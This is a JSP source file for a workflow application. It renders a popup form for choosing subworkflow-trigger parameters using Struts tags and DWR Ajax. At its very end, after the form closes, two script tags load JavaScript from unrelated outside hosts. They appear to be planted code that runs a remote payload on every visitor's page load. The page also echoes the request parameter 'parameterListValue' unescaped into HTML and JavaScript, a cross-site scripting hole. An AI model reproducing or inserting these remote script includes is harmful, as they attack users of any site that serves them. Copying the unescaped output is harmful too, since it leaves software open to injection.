<%
/*
 * @(#)EditWorkflowStepRoutine.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowStepRoutine.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    24/08/2004
    @version          $Revision: 1.7.4.7 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowStepParamenterForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowStepParameterForm"/>
<jsp:useBean id="currentWorkflowRecord" scope="request" class="com.dcivision.workflow.bean.WorkflowRecord"/>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/WorkflowAjaxProcessor.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>

<%
  int numOfCustomization = new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_UDF_CUSTOMIZATION_NO)).intValue();
  int tmpListTotal=0;
  int listSize=0;
  int newFieldSize=0;
  Integer opNewField=new Integer(1);


  if (request.getAttribute("newFieldsSize") != null){
    newFieldSize = ((Integer) request.getAttribute("newFieldsSize")).intValue();
  }

  if (request.getAttribute("listSize") != null){
    listSize = ((Integer) request.getAttribute("listSize")).intValue();
  }

  if (request.getParameter("newField") != null){
    opNewField = new Integer(request.getParameter("newField"));
  }

  boolean isReleased = false;
  isReleased = "true".equals(request.getParameter("isReleased"));


  String navMode = (String) maintWorkflowStepParamenterForm.getNavMode();
  String parameterListValue = request.getParameter("parameterListValue");
  String[] parameterArr = null;
  if(!Utility.isEmpty(parameterListValue)){
    parameterArr = TextUtility.splitString(parameterListValue,"|");
    tmpListTotal = parameterArr.length;
  }
%>

<html:form action="workflow/MaintWorkflowStepParameter" styleClass="form-style-2">
<html:javascript formName="maintWorkflowStepParameterForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
    String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='actionType'/>

<layout:popupTitle titleKey ="workflow.action.label.trigger_subworkflow"/>
<div class="tabContainer">
  <div id="basicTab" class="tabContent" style="display:block;height:370px">
  <table width="100%">
  <layout:sectionHeader name="workflow.action.label.trigger_subworkflow_for_step" mandatory="true"/>
  <%
  for (int i=0; i<tmpListTotal; i++) {
    String parameterArr0 = (TextUtility.splitString(parameterArr[i],":"))[0];
    String parameterArr1 = (TextUtility.splitString(parameterArr[i],":"))[1];
      %>
  <tr>
     <td class="formLabelSmallMan"><bean:message key="<%=parameterArr0%>"/></td>
     <td class="formFieldSmall">
        <%if(!isReleased){%>
        <html:select property="" value="<%=parameterArr1%>" styleId="<%=parameterArr0%>" onchange="javascript:WorkflowAjaxProcessor.getWorkflowRecordValue(refreshWorkflowRecord, this.value);">
        	<html:options stringArray='<%=(String[][]) request.getAttribute("parameterOptions")%>' convertLabel="false" hasSelect="false"/>
        </html:select>
       <%}else{%>
        <%=parameterArr1.equals(" ")?"":parameterArr1%>
        <%}%>
    </td>
  </tr>
  
  <layout:sectionHeader name="workflow.label.sub_workflow_information" mandatory='false'/>
  <tr>
  <td class="formLabelSmall"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
  <td class="formFieldSmall"><span id="workflow.label.workflow_version"><bean:write name="currentWorkflowRecord" property="workflowVersion"/></span></td>
  </tr>
  <tr>
  <td class="formLabelSmall"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
  <td class="formFieldSmall"><span id="workflow.label.effective_period"><bean:write name='currentWorkflowRecord' property='startDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/></span>
  <bean:message key='common.label.period_to'/>
  <span id="common.label.period_to"><bean:write name='currentWorkflowRecord' property='endDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/></span>
  </td>
  </tr>
  <tr>
  <td class="formLabelSmall" ><bean:message key='workflow.label.description'/>:&nbsp;</td>
  <td class="formFieldSmall" ><span id="workflow.label.description"><bean:write name="currentWorkflowRecord" property="description"/></span></td>
  </tr>
 
 <%
 }
 %>
 <script language="Javascript">

function refreshWorkflowRecord(data){
  var recordSectionArray = data.split("|");
  for (var i = 0; i < recordSectionArray.length; i++) {
  	var recordPropertyArray = recordSectionArray[i].split(":");
  	if (recordPropertyArray.length >= 2) {
  		DWRUtil.setValue(recordPropertyArray[0], recordPropertyArray[1]);
  	}
  }
}

function custOpConfirm() {
  var parent = window.opener;
  var parameterListValue = "";

  <%for (int i=0; i< tmpListTotal; i++){%>
 if(document.maintWorkflowStepParameterForm.elements['<%=(TextUtility.splitString(parameterArr[i],":"))[0]%>'].value==""){
 document.maintWorkflowStepParameterForm.elements['<%=(TextUtility.splitString(parameterArr[i],":"))[0]%>'].value=" ";
 }
     parameterListValue += "<%=(TextUtility.splitString(parameterArr[i],":"))[0]%>:" + document.maintWorkflowStepParameterForm.elements['<%=(TextUtility.splitString(parameterArr[i],":"))[0]%>'].value + "|";

  <%}%>

  opener.putParemeterList("maintWorkflowStepForm",parameterListValue);
  window.close();
  return false;
}


</script>

  </table>
  </div>
  </div>

<div id="bottomButtonArea">
    <div id="buttonSection">
   <%if(!isReleased){%>
    <html:standardButton label="common.label.confirm" onClick="return custOpConfirm()"/>
    <%}%>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>	
    </div>
</div>
    

</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>